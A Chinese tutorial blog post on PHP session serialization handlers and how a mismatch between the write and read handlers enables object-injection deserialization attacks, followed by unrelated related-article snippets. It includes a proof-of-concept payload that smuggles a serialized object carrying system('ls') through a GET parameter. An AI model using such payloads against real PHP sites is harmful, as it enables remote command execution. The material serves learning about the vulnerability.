php反序列化学习(3)

1、session

当session_start()被调用或者php.ini中session.auto_start为1时,php内部调用会话管理器,访问用户session被序列化后,存储到指定目录(默认为/tmp)。

漏洞产生:写入格式与读取格式不一致

处理器与对应格式:

处理器对应的存储格式
php键名+竖线+经过serialize()函数序列化处理的值
php_serialize(php>=5.54)经过serialize()函数序列化处理的数组
php_binary键名长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

2、PHP session机制:

Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。

PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。

3、工作过程

会话的工作流程很简单,当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的CookiesGetPost中不存在session id,PHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存,

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及formhidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

4、存储机制:

1、php处理器:

<?php
echo "dundundun";
session_start();
$_SESSION['dundundun'] = $_GET['a'];
?>

查看运行结果

序列化的结果为:dundundun|s:9:"dundundun";

dundundun$_SESSION['dundundun']的键名,|后为传入 GET 参数经过序列化后的值

2、php_binary处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

得到结果如下:

#sessionsessionsessionsessionsessions:2:"aa";

键值长度为35,#为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:2:"aa"; 为传入 GET 参数经过序列化后的值

3、php_serialize 处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

得到结果如下:

a:1:{s:7:"session";s:2:"bb";}

a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值

5、反序列化漏洞是怎么来的

存储页面:用php_serialize的方式存储

读取页面:用php的方式读取

写入格式与读取格式不一致,导致漏洞产生

构造poc:

<?php
class D{
var $a = "system('id')";
}
echo serialize(new (D))
?>

php_serialize格式:

?a=|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}

php格式:

a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}

以PHP格式读取时会把O:1:"D":1:{s:1:"a";s:13:"system('ls');";}";}进行反序列化导致漏洞产生。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/21007.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何设置让背景颜色不包括 padding 部分,顺带全面学习 background-clip 属性(可以实现文字渐变)

先解决需求 实现背景颜色不包括 padding 部分&#xff0c;直接给容器添加 css 属性&#xff1a;background-clip:content-box; 示例代码&#xff1a; .content-box-example {background-color: lightblue;padding: 20px;border: 1px solid black;background-clip: content-bo…

06C内存分配

C零碎语法 目录 文章目录 C零碎语法1.内存布局2. 内存对齐2.1结构体内存对齐2.1应用 1.内存布局 2. 内存对齐 2.1结构体内存对齐 三条原则&#xff1a; &#xff08;1&#xff09;结构体变量的 起始地址能够被其最宽的成员大小整除。 &#xff08;2&#xff09;结构体每个…

前端Vue自定义滚动卡片组件设计与实现

摘要 随着技术的日新月异&#xff0c;前端开发的复杂度不断提升。传统的整块应用开发方式在面对小的改动或功能增加时&#xff0c;常常需要修改大量的整体逻辑&#xff0c;造成开发效率低下和维护成本高昂。为了应对这一挑战&#xff0c;组件化开发应运而生。本文将以Vue框架下…

LeetCode 第400场周赛个人题解

100307. 候诊室中的最少椅子数 原题链接 100307. 候诊室中的最少椅子数 思路分析 直接模拟 时间复杂度&#xff1a;O(n) AC代码 class Solution:def minimumChairs(self, s: str) -> int:cur res 0for x in s:if x E:cur 1else:cur - 1res max(res, cur)return …

Vue3项目练习详细步骤(第二部分:主页面搭建)

主页面搭建 页面主体结构 路由 子路由 主页面搭建 页面主体结构 在vuews目录下新建Layout.vue文件 主页面内容主体代码 <script setup> import {Management,Promotion,UserFilled,User,Crop,EditPen,SwitchButton,CaretBottom } from element-plus/icons-vue imp…

Dante Cloud 是国内首个支持阻塞式和响应式融合的微服务

Dante Cloud 是国内首个支持阻塞式和响应式融合的微服务。以「高质量代码、低安全漏洞」为核心&#xff0c;采用领域驱动模型(DDD)设计思想&#xff0c;完全基于 Spring 生态全域开源技术和 OAuth2.1 协议&#xff0c;支持智能电视、IoT等物联网设备认证&#xff0c;满足国家三…

YOLOv5改进(六)--引入YOLOv8中C2F模块

文章目录 1、前言2、C3模块和C2F模块2.1、C3模块2.2、BottleNeck模块2.3、C2F模块 3、C2F代码实现3.1、common.py3.2、yolo.py3.3、yolov5s_C2F.yaml 4、目标检测系列文章 1、前言 本文主要使用YOLOv8的C2F模块替换YOLOv5中的C3模块&#xff0c;经过实验测试&#xff0c;发现Y…

SwiftUI调用相机拍照

在 SwiftUI 中实现拍照功能&#xff0c;需要结合 UIViewControllerRepresentable 和 UIImagePickerController 来实现相机功能。下面是一个详细的示例&#xff0c;展示如何使用 SwiftUI 来实现拍照功能&#xff1a; 1. 创建一个 ImagePicker 组件 首先&#xff0c;创建一个 U…

C++之类的三种继承修饰符(public、private、protected)总结

1、前言 前文博客介绍了修饰符public、private、protected在类中成员变量和函数访问权限限制的总结&#xff0c;主要如下&#xff1a; public&#xff08;公有&#xff09;: 公有成员在类的内部和外部都可以被访问。 private&#xff08;私有&#xff09;: 私有成员只能在类的内…

Qt xml学习之calculator-qml

1.功能说明&#xff1a;制作简易计算器 2.使用技术&#xff1a;qml,scxml 3.项目效果&#xff1a; 4.qml部分&#xff1a; import Calculator 1.0 //需要引用对应类的队友版本 import QtQuick 2.12 import QtQuick.Window 2.12 import QtQuick.Controls 1.4 import QtScxml…

Linux 的权限

目录 Linux 的用户 root 用户 和 普通用户 如何新建普通用户&#xff1f; 如何切换用户&#xff1f; 一开始是以 root 用户登录&#xff1a; 一开始以普通用户登录&#xff1a; 如何删除用户&#xff1f; Linux文件权限 什么是读权限&#xff08; r &#xff09;&#…

牛客网输入输出11道题——python3版本

目录 1 介绍2 训练3 参考 1 介绍 本博客用来记录python3版本的常见输入输出。 2 训练 题目1&#xff1a;AB(1) python3代码如下&#xff0c; import sys for line in sys.stdin:a, b map(int, line.split())print(ab)题目2&#xff1a;AB(2) python3代码如下&#xff0c…

vs2019 c++20 规范的 STL 库的智能指针 shared、unique 、weak 、auto 及 make_** 函数的源码注释汇总,和几个结论

智能指针的源码都在 《memory》 头文件中。因为头文件太长&#xff0c;再者本次整理是基于以前的零散的模板分析。故相当于抽取了该头文件中关于智能指针的源码进行分析&#xff0c;注释。 &#xff08;1 探讨一&#xff09;当独占指针指向数组时&#xff0c;其默认的删除器是…

Python3 逻辑运算符

前言 本文主要介绍python中的逻辑运算符&#xff0c;主要内容包括逻辑运算符简介、逻辑运算符优先级。 文章目录 前言一、逻辑运算符简介1、and(与) 运算2、or(或)运算3、not(非)运算 二、逻辑运算符优先级总结 一、逻辑运算符简介 逻辑运算符是用来做逻辑运算&#xff0c; …

13.RedHat认证-Linux Shell脚本

13.RedHat认证-Linux Shell脚本 Shell是一种脚本语言&#xff0c;那么&#xff0c;就必须有解释器来执行这些脚本。 bash&#xff1a;是Linux标准默认的shell。bash由Brian Fox和Chet Ramey共同完成&#xff0c;是BourneAgain Shell的缩写 sh&#xff1a;由Steve Bourne开发…

用大白话讲懂ceph与clinder的区别

Ceph是一个大仓库&#xff0c;而clinder只是食堂openstack的一个存储组件 详细解释如下&#xff1a; 当我们需要存储大量数据的时候&#xff0c;比如照片、视频、文件等&#xff0c;Ceph就像是一个巨大的仓库&#xff0c;可以帮助我们把这些数据安全地存放起来。 Ceph与传统的…

ABP框架+Mysql(二)

展示页面--图书列表页面 本地化 开始的UI开发之前,我们首先要准备本地化的文本(这是你通常在开发应用程序时需要做的).本地化文本在前端页面会常用。 本地化文本位于 Acme.BookStore.Domain.Shared 项目的 Localization/BookStore 文件夹下: 打开 en.json (英文翻译)文件并更…

STM32-- GPIO->EXTI->NVIC中断

一、NVIC简介 什么是 NVIC &#xff1f; NVIC 即嵌套向量中断控制器&#xff0c;全称 Nested vectored interrupt controller 。它 是内核的器件&#xff0c;所以它的更多描述可以看内核有关的资料。M3/M4/M7 内核都是支持 256 个中断&#xff0c;其中包含了 16 个系统中…

MySQL—函数—数值函数(基础)

一、引言 首先了解一下常见的数值函数哪些&#xff1f;并且直到它们的作用&#xff0c;并且演示这些函数的使用。 二、数值函数 常见的数值函数如下&#xff1a; 注意&#xff1a; 1、ceil(x)、floor(x) &#xff1a;向上、向下取整。 2、mod(x,y)&#xff1a;模运算&#x…

Kmeans聚类模型

K均值(K-Means)聚类是一种常用的无监督学习算法,用于将数据集中的样本划分为K个不同的簇(cluster),使得每个样本都属于距离最近的簇的中心。K均值聚类的目标是通过最小化簇内样本的方差或欧氏距离的平方和来确定簇的中心,从而实现聚类分析。 一、Kmeans聚类模型原理 随…